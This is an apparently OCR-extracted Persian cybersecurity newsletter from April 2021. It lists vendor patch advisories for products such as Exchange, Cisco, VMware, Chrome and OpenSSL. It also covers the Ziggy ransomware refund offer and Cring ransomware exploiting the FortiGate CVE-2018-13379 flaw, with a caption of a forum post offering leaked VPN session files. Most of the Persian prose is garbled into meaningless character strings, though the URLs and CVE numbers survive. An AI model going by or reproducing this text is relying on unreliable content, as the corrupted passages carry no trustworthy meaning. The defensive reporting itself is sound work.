9 039 ala> 0)u2Sj JS (adS 4y )35 a5 035 Vel SwopuunS Jlo (Rl L 3iuad 395 Guyiws ahw i) L puSbyiw

L Cawd )3 (Wbl Ol ol gbys 5> 4 )10 )ig_\ LSLQ’LQ)%:\;!W—’)’l ol

newsroom.shabakeh.net


https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-27091
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28312
http://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28437
http://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28458
http://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28310
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o3 g > ikwd Remote Code Execution g jl (Sao a5 i 1) pj “Gilbs” (gpiocawl Hlez célwy,SHle
‘anl 03,5 aeys Exchange

CVE-2021-28480
CVE-2021-28481
CVE-2021-28482
CVE-2021-28483

d§|_\> ‘0955 &) L;_.u.wl oo )LQ} UJI (5)‘5)&’ )l 5290 Cawl US.A.A Wudbol S} )Lu 09.\.; lQJT )l )90 9> )l ob[ﬁhu];y»
] agllas g cdlys BB 5 S ) LT pogias )3 yiduw Wlojs  Cuwl 6346 (9)13S (seg9ac &)g0a

https://techcommunity.microsoft.com/t5/exchange-team-blog/released-april-2021-exchange-server-
security-updates/ba-p/2254617

& )3 1) yojg) Gl rigeal Yoz ol jl )15 9 (5ol (Hluyjg)d Ll b dlng)Sole €Sy o3 1WA dddwl )
392 63,5 @u0y3 Exchange walize

235 &Ll ) 3)lge @ lgie Wb @)S (12299 VF &S inedl P> (g Ryl S0 )]

Oyg0d S (ol Bl g siuwe Media Video Decoder s (plowasis a5 CVE-2021-28315 9 CVE-2021-27095

S50 1) YU uyies w4 5L g9 | )93 o
@ B YIS s 4 5L gen |y azlee 9wl Windows Network File System s a26 a5 CVE-2021-28445

iS50 )9 o) jl )04 35 (gly2!

Ll 3ol Copie Spe () 5a b a5 ) Gl )3 ) Cdlwg,Sole 9l ole (sloaumolacgame ogas 5> yidiy Sloje
1algBn 02 dxgl yimwS aSud (wdige Sy § ()90 il

https://afta.gov.ir/portal/home/?news/235046/237266/243368/

S

Vgamao jl (550 (5] (ko] (dum Vool doye @ pladl Cogh iz )3 ole (139,855 (Cisco Systems INC) gSummn Sy
T 51 3)90 4 Caedl dz)d  AiS (50 a0yd Sy ¢l alizxe WVqamso )5 1) (g pdocawl Vo il Giw o 5lw)jgyd ¢l .3)S 395
“led G35 95 oy jl gy 35 G2l Gezen SMas @ (grizeawl .l o3 GilS (High) WL 390 PV 9 “5ks’
ala= ;I (Denial of Service) “Gwgymw (g5l 51" g (Information Disclosure) “wlebl cuis” (Command Injection)

BB ) S )3 03 dye (sloSlyjg)a 3)90 Hd JolS Olawsgs diwd iz G Hlw)jg)d) bwgd 6aub gaSre OIS
ol Gy

https://tools.cisco.com/security/center/publicationListing.x
SIS0

9 CVE-2021-23888 (sloawliss 4y (g iyl 95 Update 10 0.10.0 )Lisl b (McAfee, LLC) (81cSo Sy «523)9y9 0
McAfee Jaamo y3 1) “aS” wads L CVE-2021-23889 awliis ¢ (Siuiel tanid Sy ¢ “buwgie” wai L CVE-2021-23890
anl €8l P 5 Si js o wluje 45 55 @i ePolicy Orchestrator

https://kc.mcafee.com/corporate/index?page=content&id=SB10352


https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28480
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28481
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28482
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28483
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28315
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27095
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28445

12oo gl | wleVbl (6)9Lid u ol 4 olidlo

Gl a4 b CVE-2021-23887 awlich 4 (6 pducumwl Su 1.5 Voo F) dus ol jLixiil b 9339,8 VO )3 CuSyis ¢l yuisan
McAfee DLP Endpoint ¢yuin &uws )3 1) “wgie” couwlms ass b CVE-2021-23886 awlishs 4y (sisiel cais Sy g Vb
23 iy Olawsgs 39y 83,5 yiniie |) McAfee DLP Endpoint )ljdley 1.7 oo azumd ju3 (52398 ¥ )5 (81 S .3)S Syboyy
ol edly)s Pl 5 glocSi )3 1380y (ol Las Guwd pogas
https://kc.mcafee.com/corporate/index?page=content&id=SNS2943
https://kc.mcafee.com/corporate/index?page=content&id=SB10357

29rkss

42)> b el o S o "GSls” Gad b gpriyeanl sz (Sleyjgye Lol b (VMware, Inc) joekisy < 29,8 )

3,5 a0)3 5 OVguame )d ly "W" ool

VMware vRealize Operations
VMware Cloud Foundation
vRealize Suite Lifecycle Manager -
VMware Carbon Black Cloud Workload Appliance
VMware NSX-T

‘awl agllas (P8 5 (loddsbaungs ) yiiw Wlojs

https://www.vmware.com/security/advisories/VMSA-2021-0004.html
https://www.vmware.com/security/advisories/VMSA-2021-0005.html
https://www.vmware.com/security/advisories/VMSA-2021-0006.html

Citrix Hy- (ghp (el (6ol dw @uoyi (lp dus ol jlixil 4 pladl ole (133)9,8 > (Citrix Systems, INC) (wsSy i
canl allae (P8 5 i )3 of wlujs 45 3,5 (g XenServer L) pervisor

https://support.citrix.com/article/CTX306565
A dolgs (Denial of Service) dilolw 3Ll )15 jl cizgo )95k (slayg izl jl oslaiwleguw
JShl

o)) @acgazn Ll 9> alodw 03 (gaile 4ol b Gallae (Oracle Corp) Ushgl sy A Feo (32398 jl o) 1)
oslaiulegu .3)S Sy (pl sl Joamo lood ) iniel (g3l WAF aueys @ eladl Critical Patch Update « pgwge
Olojz WS GRiwcdlel G55 30 @) 5L (92 )93 o) jl @)@ 35 2l @ 3B | @zl 953 (g izl jl 25 I

il 28> JB 5 S > il pogia> 55 JolS

https://www.oracle.com/security-alerts/cpuapr2021.html
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FAV-15- g FV-PIAFL £ EPEPYE SV G jlasl 4 pladl (Bitdefener, INC) jaiaiscan @Sy \Feo Jo olo gl 53
Bitdefender GravityZone. Endpoint Security Tools for Windows. Bitdefender wVgamo (gly wubyia Yoolss
2 1) yidin loje )5 LT ) s glacablB (439581 ¢ Endpoint Security for Mac ¢ Endpoint Security for Linux

Bleo pj sl

https://www.bitdefender.com/support/gravityzone-6-23-1-1-release-notes-2690.html
https://www.bitdefender.com/support/bitdefender-endpoint-security-tools-version-6-6-26-376-release-
notes-(windows)-2689.html
https://www.bitdefender.com/support/bitdefender-endpoint-security-tools-version-6-2-21-141-release-
notes-(linux)-2687.html
https://www.bitdefender.com/support/endpoint-security-for-mac-version-4-17-16-200166-release-
notes-2684.html
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ColdFusion: https://helpx.adobe.com/security/products/coldfusion/apsb21-16.html
RoboHelp: https://helpx.adobe.com/security/products/robohelp/apsb21-20.html

Bridge: https://helpx.adobe.com/security/products/bridge/apsb21-23.html

Digital Editions: https://helpx.adobe.com/security/products/Digital-Editions/apsb21-26.html
Photoshop: https://helpx.adobe.com/security/products/photoshop/apsb21-28.html
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https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageld=573801649
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Syl alizen BVguame |y siaiol Wi (paiz (Slw)yjgyw Bhl L 113,958 )5 aa (Juniper Networks, Inc) 555w yuie>
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https://kb.juniper.net/InfoCenter/index?page=content&channel=SECURITY_ADVISORIES
JEX;

25900 Giiol s iyl paoys @ eladl Sloyjg)a adye b Cogs padiz 5> (Google, LLC) JSo5 )i olo (239,85
) 0X RdSye YLDl Cunygd .l Yoo FFFo VY by Ll (123,98 YO )3 a5 )S)gpe pl asus ¢,3T 15,5 Chrome
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https://chromereleases.googleblog.com/2021/04/stable-channel-update-for-desktop_14.htm!
https://chromereleases.googleblog.com/2021/04/stable-channel-update-for-desktop.html
https://chromereleases.googleblog.com/2021/03/stable-channel-update-for-desktop_30.htm!
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https://www.mozilla.org/en-US/security/advisories/mfsa2021-10/
https://www.mozilla.org/en-US/security/advisories/mfsa2021-11/

https://www.mozilla.org/en-US/security/advisories/mfsa2021-12/
Laolw
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W' ool a2y b glaobiauogs )Lixil 4 0181 (OpenSSL Software Foundation) Jlowlowlesl (s)138heps Sl ¢y23y9)9 &
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S )3 Jlgwlowloes! aebamogs . sgi0 (CA certificate check) cdbol (uwyyp 3iohd (s )3l woge 3030 50 o
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https://www.openssl.org/news/secadv/20210325.txt

U239

034 @03 (lolanid j9S3e ) )3 .3)S ddye |y WOrdPress (glgiswe copan dilolw 6.V.) dduwd (wyady9 SLiy (239,98 V'#
93 iy OleMbl 3,50 Cuwd 4 |y diloluw ¢pl Copie cusd Colw JyiS B amdso el @zl @ T (350 1 edlaiwleguw oS
ol aglllao (B 5 S )3 390 ¢yl

https://wordpress.org/news/2021/04/wordpress-5-7-1-security-and-maintenance-release/
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https://www.samba.org/samba/security/CVE-2021-20277.html
https://www.samba.org/samba/security/CVE-2020-27840.html
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@ Ziggy Ransomware Decrypted

Good news
We have a plane to return victims money.

@ Ziggy Ransomware Decrypted

If you are infected with Ziggy ransemware and your payed
money,We are ready to give back your money.

Send you payment receipt and your computer unigue ID to
this E-mail :

ZiggyRansomware@secmail.pro

We Will transfer money to your Bitcoin wallet address.

we will give back your money until 2 weeks later.

newsroom.shabakeh.net



12oo g )l | wlelbl (6)9lisd cuyiol A slinlo

sy oloj 53 oS (i)l (ulwl e 63515,55L &lue ikl Bleeping Computer colw b 3)8 ¢l a5 (5393445 @b
2o Gl Ve Lol 1390 )V )l A 3g9a (gSuw yo ()l APA] ey bawlgl )3 S Cawl (Jlo ) (ol 390 wolgs> (50,5 (gow
23 552 45 35 (5542 ) 9benl 0IIGR (s ER Ul LISl 08T 5 )3 L plpliy .l Y5 )l OA ) S35 agSean
a5 0db (5830 )0l &5 Az o .l 0 Ziggy 635515)S sl (14293 B dgw lizwe 03 (6] gl (5 3513,55L g0

el b Giljie Gigyd @ )Lzl o (3151 @l (13513, U (gl

&le @ gawy b Ziggy )82 0 )15 (sjlslel) jl Glel 05551 9 03)5 (53320 09w (g )9S S 339,¢ib 1) 395 Ziggy eisls)S
Emotet 13810 36 1 (53998 (slaoslgs yusl leladl jl (51,55 g ¢lasg Glde Jus 4y a5 399 aiaS 3 i gl .l 03505 pMel (Lo
Ll 4i8)S 1) Wlagauad ¢l NetWalker )l5él2U o

newsroom.shabakeh.net



1200 Cuiigayd)l | wleVbl (g)0lid cuyiol A olidlo

FortiGate VPN ;I oslaiwlsguw
HelEl @595 sl

0111100

011 A
00001111171111000000 01111170011

0101 30000700

190001011

10111000
01114900
g0%" 000ui001"
1011100111
10010
10110010010

10000
Toes1111 ' -
10008110100

23 (623 ol SO 3 I8 G b ylaslgoe 03,5 e |y T (Kaspersky Lab) (SwjyuwS Sy o5 (ai)hiS Gulel
S50 ool (g9) 1 Cring )l3lab &1j95 ¢ (yLobys aSui 4 4is) @ pladl FortiGate VPN server
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Gl 0235 Ufil)l)j CVE-2018-13379 (ylaslgo ¢yl owgi 6aub odlasiwlcguw LS)J.UMT

»> CVE-2018-13379 Jolis (il )lgz jl 19> loySe (Jlaisl eslaimwlegu I (el glodlys By jb Sl
ol d2llao (BB 5 S )3 ¢ Glujs a5 B33 031> s Fortinet wVgase

https://afta.gov.ir/portal/home/?news/235046/237266/243233/

Sgdse e ol 51 FortiOS SSL VPN ;> Web Portal (iso a5 cwl Path Traversal €45 5l aé CVE-2018-13379
9 (55 (sloplb Jolis a5 (Session) s Jold dlas 1 aiwaw ool 35lg3 Sl g il ¢l jl oslaiwleguw
AiSe @l riwedlol 4 5L g9 p2les sl | dedise (Plain Text) eslw e )00 ()9 sje)
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Fortinet SSL VPN sslvpn_websession 6.7GB [CVE-2018-13379]

by arendee2018 - 41 minutes ago

this is the most complet; ieve containing all exploit links

‘ not ilable anywhere else

6.7GB uncompressed

https://anonfiles.com/

archive password

newsroom.shabakeh.net


https://nvd.nist.gov/vuln/detail/CVE-2018-13379
https://www.fortinet.com/blog/psirt-blogs/update-regarding-cve-2018-13379
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SSL-VPN v.6.0.2 Malware hosting
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& - Ransomware
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~ Backup server #

950 (6)IS5e) JlSlal bwgd pj ovigun | S o b glahls ©Mas ¢l gy >

vhdx (Virtual Hard Disk), .ndf (Microsoft SQL Server secondary database), .wk (Lotus 1-2-3 spreadsheet),
xlsx (Microsoft Excel spreadsheet), .txt (text document), .doc (Microsoft Word document), .docx (Micro-
soft Word document), .xIs (Microsoft Excel spreadsheet), . mdb (Microsoft Access database), .mdf (disk
image), .sql (saved SQL query), .bak (backup file), .ora (Oracle database), .pdf (PDF document), .ppt (Mi-
crosoft PowerPoint presentation), .pptx (Microsoft PowerPoint presentation), .dbf (dBASE database man-
agement file), .zip (archive), .rar (archive), .aspx (ASP.NET webpage), .php (PHP webpage), jsp (Java web-
page), .bkf (backup created by Microsoft Windows Backup Utility), .csv (Microsoft Excel spreadsheet)

sl aglliao § iy B i Sl )3 (SanppenS GiyS 2oyie

https://ics-cert.kaspersky.com/reports/2021/04/07/vulnerability-in-fortigate-vpn-servers-is-

exploited-in-cring-ransomware-attacks/
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https://newsroom.shabakeh.net/wp-content/uploads/2021/04/SPT-N-0243-00_Firewall-best-practices-to-block-ransomware.pdf
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